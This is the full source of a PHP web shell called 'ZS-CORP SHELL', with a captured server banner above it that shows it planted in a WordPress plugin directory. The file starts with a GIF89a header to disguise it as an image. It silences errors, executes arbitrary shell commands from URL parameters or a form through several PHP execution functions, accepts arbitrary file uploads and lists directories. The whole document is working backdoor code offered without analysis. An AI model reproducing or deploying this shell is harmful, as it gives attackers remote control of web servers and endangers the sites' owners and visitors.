| Server IP : 45.77.68.45 / Your IP : 127.0.0.100 Web Server : PHPix/0.2.2 (Caddy compatible) System : wasi wasmer.sh 0.0.0 0.0.0 wasm32 User : ( 1) PHP Version : 8.3.21 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /app/wp-content/plugins/wp2shell_1b182dfe/ |
Upload File : |
GIF89a
<?php
@error_reporting(0);@ini_set('display_errors',0);@set_time_limit(0);
function zs_run($c){
if($c==='')return'';
$c=$c.' 2>&1';
if(function_exists('shell_exec')){$o=@shell_exec($c);if($o!==null&&$o!=='')return $o;}
ob_start();if(function_exists('passthru')){@passthru($c,$x);$o=ob_get_clean();if($o!=='')return $o;ob_start();}
if(function_exists('system')){@system($c,$x);$o=ob_get_clean();if($o!=='')return $o;ob_start();}
if(function_exists('exec')){@exec($c,$a,$x);$o=implode("\n",$a);if($o!=='')return $o;}
return'[no output]';}
$api=isset($_GET['cmd'])?$_GET['cmd']:(isset($_GET['c'])?$_GET['c']:(isset($_GET['command'])?$_GET['command']:''));
if($api!==''&&!isset($_POST['execute_cmd'])){@ob_clean();echo"[RCE_START]";echo zs_run($api);echo"[RCE_END]";exit;}
$d=isset($_GET['d'])?@realpath($_GET['d']):getcwd();
if(!$d)$d=getcwd();
@chdir($d);
$cmd_out='';$last_cmd='';
if(isset($_POST['execute_cmd'])){
$last_cmd=isset($_POST['cmd'])?trim($_POST['cmd']):'';
$cmd_out=zs_run($last_cmd);}
if(isset($_FILES['f'])){
$n=basename($_FILES['f']['name']);
if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){
echo"<div style='color:#0f0;background:#001a00;border:1px solid #0f0;padding:8px;margin:10px 0'>✓ Uploaded: <b>$n</b></div>";
}else{
echo"<div style='color:#f00;background:#1a0000;border:1px solid #f00;padding:8px;margin:10px 0'>✗ Upload failed</div>";
}}
echo"<!DOCTYPE html><html><head><title>ZS-CORP SHELL</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',monospace;background:#000;color:#0f0;padding:15px}a{color:#0f0;text-decoration:none}a:hover{color:#0ff;text-decoration:underline}.container{max-width:1200px;margin:0 auto;border:2px solid #0f0;padding:15px;background:#001a00}.header{text-align:center;border-bottom:2px solid #0f0;padding:10px;margin-bottom:15px}.header h1{color:#0f0;font-size:24px;text-shadow:0 0 10px #0f0}.path{background:#003300;padding:8px;margin:10px 0;border:1px solid #0f0;word-break:break-all}.upload-form,.cmd-form{background:#002200;padding:10px;border:1px solid #0f0;margin:10px 0}.panel h2{text-align:center;font-size:16px;color:#0ff;border-bottom:1px solid #0f0;margin:0 0 10px;padding-bottom:8px}input[type=file],input[type=text]{background:#001a00;color:#0f0;border:1px solid #0f0;padding:5px;margin-bottom:5px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 20px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace}input[type=submit]:hover{background:#0ff}table{width:100%;border-collapse:collapse;margin-top:10px}th,td{padding:8px;text-align:left;border:1px solid #0f0}th{background:#003300;color:#0f0;font-weight:bold}tr:hover{background:#002200}.dir{color:#0ff}.file{color:#0f0}.size{color:#090}.info{font-size:11px;color:#090;margin-top:10px;text-align:center}.output{background:#000;color:#0f0;border:1px solid #0ff;padding:10px;margin-top:15px;white-space:pre-wrap;word-break:break-all}</style></head><body><div class='container'><div class='header'><h1>♦ ZS-CORP SHELL ♦</h1><p style='font-size:11px;color:#090'>VENI | VIDI | VICI</p><p style='font-size:11px;color:#090;margin-top:6px'>";
echo htmlspecialchars(PHP_VERSION.' | '.php_uname());
echo"</p></div><div class='path'><b>CWD:</b> $d";
$parent=dirname($d);
if($parent!=$d)echo" | <a href='?d=".urlencode($parent)."'>[Parent ↑]</a>";
echo"</div><div class='upload-form'><form method='post' enctype='multipart/form-data'>";
if(isset($_GET['d']))echo"<input type='hidden' name='d' value='".htmlspecialchars($_GET['d'],ENT_QUOTES)."'>";
echo"<input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><div class='cmd-form panel'><h2>Command Center</h2><form method='post'>";
if(isset($_GET['d']))echo"<input type='hidden' name='d' value='".htmlspecialchars($_GET['d'],ENT_QUOTES)."'>";
echo"<input type='text' name='cmd' style='width:70%' value='";if($last_cmd!=='')echo htmlspecialchars($last_cmd,ENT_QUOTES);echo"' placeholder='Command...' autofocus> <input type='submit' name='execute_cmd' value='Execute'></form></div>";
if($cmd_out!=='')echo"<div class='output'>".htmlspecialchars($cmd_out)."</div>";
echo"<table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th></tr>";
$items=@scandir('.');
if($items)foreach($items as $item){
if($item=='.')continue;
$full=$d.'/'.$item;
$isDir=@is_dir($item);
$class=$isDir?'dir':'file';
$icon=$isDir?'📁':'📄';
if($item=='..')$icon='⬆';
$size=$isDir?'DIR':@number_format(@filesize($item)).' B';
$time=@date('Y-m-d H:i',@filemtime($item));
$perms=@substr(sprintf('%o',@fileperms($item)),-4);
$link=$isDir?"?d=".urlencode($full):$item;
echo"<tr><td class='$class'>$icon <a href='$link'>".htmlspecialchars($item)."</a></td><td class='size'>$size</td><td>$time</td><td>$perms</td></tr>";
}
echo"</table><div class='info'>Powered by ZS CORP | VENI | VIDI | VICI</div></div></body></html>";
?>